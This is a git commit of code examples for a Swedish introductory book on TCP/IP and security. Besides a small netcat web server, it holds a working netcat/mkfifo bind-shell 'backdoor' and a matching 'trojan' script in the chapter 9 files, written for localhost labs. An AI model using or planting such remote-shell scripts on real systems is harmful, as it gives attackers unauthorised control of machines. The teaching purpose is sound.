Inital commit
This commit is contained in:
commit
f1f0b29fb6
49
README.md
Normal file
49
README.md
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
# Demonerna på internet
|
||||||
|
**Demonerna på internet : en introduktion till TCP/IP-protokoll, internet och säkerhet**
|
||||||
|
är en utforskande bok om internet. Boken är skriven för att vara lättläst och
|
||||||
|
innehåller inte särskilt mycket kod, men de få kodexempel som finns i boken
|
||||||
|
hittar du här.
|
||||||
|
|
||||||
|
**ISBN: 978-91-983300-8-3**
|
||||||
|
|
||||||
|
Du hittar boken hos [CyberInfo Sverige](https://www.cyberinfo.se/bocker/) och
|
||||||
|
[Bokus](https://www.bokus.com/bok/9789198330083/demonerna-pa-internet-en-introduktion-till-tcp-ip-protokoll-internet-och-sakerhet/).
|
||||||
|
|
||||||
|
Är du nyfiken på boken så titta gärna igenom
|
||||||
|
[innehållsförteckningen](https://www.cyberinfo.se/dokument/demonerna-pa-internet_innehallsforteckning.html).
|
||||||
|
|
||||||
|
## Baksidetexten
|
||||||
|
Internet är fullt av demoner som vi kan leka med. Mejldemoner, webbdemoner,
|
||||||
|
namndemoner och många andra typer av demoner. I Demonerna på internet lär vi
|
||||||
|
oss vad dessa demoner är för något och hur vi kan prata med dem med hjälp av
|
||||||
|
vanliga textkommandon. Det gör att vi får en djupare förståelse för hur
|
||||||
|
internet fungerar och hur allt hänger samman.
|
||||||
|
|
||||||
|
När vi utforskar demonerna upptäcker vi också några intressanta saker om
|
||||||
|
internet. Bland annat att många av de protokoll och demoner vi använder idag
|
||||||
|
är riktigt gamla. Vi lär oss också att Unixsystem i olika former har spelat en
|
||||||
|
viktig roll för internets utveckling och gör så fortfarande.
|
||||||
|
|
||||||
|
Laborationerna i boken utförs därför på Unix- eller Linuxsystem. Men även om
|
||||||
|
man använder ett annat operativsystem på sin dator kan man genomföra bokens
|
||||||
|
laborationer. I början går vi igenom hur man kan installera Linux inuti
|
||||||
|
Windows med hjälp av WSL. De som använder macOS har redan ett komplett
|
||||||
|
Unixsystem och kan börja laborera direkt.
|
||||||
|
|
||||||
|
I boken utforskar vi också ämnen som säkerhet och hacking. Vi gör en egen
|
||||||
|
trojan som startar en bakdörr på datorn. Vi avlyssnar nätverkstrafik med
|
||||||
|
tcpdump och förfalskar mejl genom att prata direkt med mejlservrar på
|
||||||
|
internet.
|
||||||
|
|
||||||
|
Vi lär oss hur HTTP-protokollet fungerar, hur man kan göra manuella
|
||||||
|
förfrågningar och modifiera de headers som skickas med i HTTP-anropen. Vi
|
||||||
|
testar också att göra en egen liten webbdemon, eller webbserver, som visar en
|
||||||
|
enkel hemsida.
|
||||||
|
|
||||||
|
Boken är en kort introduktion till TCP/IP och några av de vanligaste
|
||||||
|
protokollen, så som HTTP, SMTP, POP3, NTP och DNS. Den är skriven för att vara
|
||||||
|
lättläst, och man behöver inte genomföra bokens alla laborationer om man inte
|
||||||
|
vill – den går lika bra att läsa i sängen eller i soffan.
|
||||||
|
|
||||||
|
## Framsidan
|
||||||
|

|
18
kapitel6/data.txt
Normal file
18
kapitel6/data.txt
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
HTTP/1.1 200 OK
|
||||||
|
Content-Type: text/html; charset=UTF-8
|
||||||
|
Content-Length: 298
|
||||||
|
Server: netcat
|
||||||
|
|
||||||
|
<!doctype html>
|
||||||
|
<html lang="sv">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<title>Min egen HTTP-demon</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1>En liten och enkel HTTP-demon</h1>
|
||||||
|
<p>Webben är inte mycket mer än detta. En demon<br>
|
||||||
|
som lyssnar på en port och skickar några textsträngar.</p>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
5
kapitel6/mini-httpd.sh
Normal file
5
kapitel6/mini-httpd.sh
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
while true; do
|
||||||
|
cat data.txt | nc -w1 127.0.0.1 -l 8999;
|
||||||
|
done
|
||||||
|
|
5
kapitel9/backdoor.sh
Normal file
5
kapitel9/backdoor.sh
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
mkfifo /tmp/f
|
||||||
|
cat /tmp/f | /bin/bash 2>&1 | nc localhost -l 7777 > /tmp/f \
|
||||||
|
&& rm /tmp/f
|
||||||
|
|
4
kapitel9/trojan.sh
Normal file
4
kapitel9/trojan.sh
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
mkfifo /tmp/f
|
||||||
|
/bin/bash 0</tmp/f | nc localhost 7777 1>/tmp/f && rm /tmp/f
|
||||||
|
|
BIN
omslaget-demonerna-pa-internet-github.png
Executable file
BIN
omslaget-demonerna-pa-internet-github.png
Executable file
Binary file not shown.
After Width: | Height: | Size: 149 KiB |
Loading…
x
Reference in New Issue
Block a user